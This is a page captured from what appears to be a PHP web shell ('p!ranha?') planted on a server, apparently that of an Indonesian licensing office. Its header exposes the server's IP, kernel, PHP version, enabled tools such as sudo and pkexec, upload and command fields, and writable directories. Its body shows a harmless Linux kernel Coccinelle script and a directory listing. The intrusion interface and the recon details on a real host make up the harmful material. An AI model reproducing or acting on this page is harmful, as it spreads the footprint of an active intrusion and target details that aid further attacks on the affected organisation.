p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/scripts/coccinelle/misc/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/scripts/coccinelle/misc/irqf_oneshot.cocci
/// Make sure threaded IRQs without a primary handler are always request with
/// IRQF_ONESHOT
///
//
// Confidence: Good
// Comments:
// Options: --no-includes

virtual patch
virtual context
virtual org
virtual report

@r1@
expression irq;
expression thread_fn;
expression flags;
position p;
@@
request_threaded_irq@p(irq, NULL, thread_fn,
(
flags | IRQF_ONESHOT
|
IRQF_ONESHOT
)
, ...)

@depends on patch@
expression irq;
expression thread_fn;
expression flags;
position p != r1.p;
@@
request_threaded_irq@p(irq, NULL, thread_fn,
(
-0
+IRQF_ONESHOT
|
-flags
+flags | IRQF_ONESHOT
)
, ...)

@depends on context@
position p != r1.p;
@@
*request_threaded_irq@p(...)

@match depends on report || org@
expression irq;
position p != r1.p;
@@
request_threaded_irq@p(irq, NULL, ...)

@script:python depends on org@
p << match.p;
@@
msg = "ERROR: Threaded IRQ with no primary handler requested without IRQF_ONESHOT"
coccilib.org.print_todo(p[0],msg)

@script:python depends on report@
p << match.p;
@@
msg = "ERROR: Threaded IRQ with no primary handler requested without IRQF_ONESHOT"
coccilib.report.print_report(p[0],msg)
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:51
0 / 0
0755
boolinit.cocci
2.195 KB
November 06 2023 09:15:52
0 / 0
0644
cstptr.cocci
0.806 KB
November 06 2023 09:15:52
0 / 0
0644
doubleinit.cocci
1.356 KB
November 06 2023 09:15:52
0 / 0
0644
ifaddr.cocci
0.656 KB
November 06 2023 09:15:52
0 / 0
0644
ifcol.cocci
1.211 KB
November 06 2023 09:15:52
0 / 0
0644
irqf_oneshot.cocci
1.091 KB
November 06 2023 09:15:52
0 / 0
0644
memcpy-assign.cocci
1.883 KB
November 06 2023 09:15:52
0 / 0
0644
noderef.cocci
0.967 KB
November 06 2023 09:15:52
0 / 0
0644
orplus.cocci
0.877 KB
November 06 2023 09:15:52
0 / 0
0644
semicolon.cocci
1.038 KB
November 06 2023 09:15:52
0 / 0
0644
warn.cocci
1.62 KB
November 06 2023 09:15:52
0 / 0
0644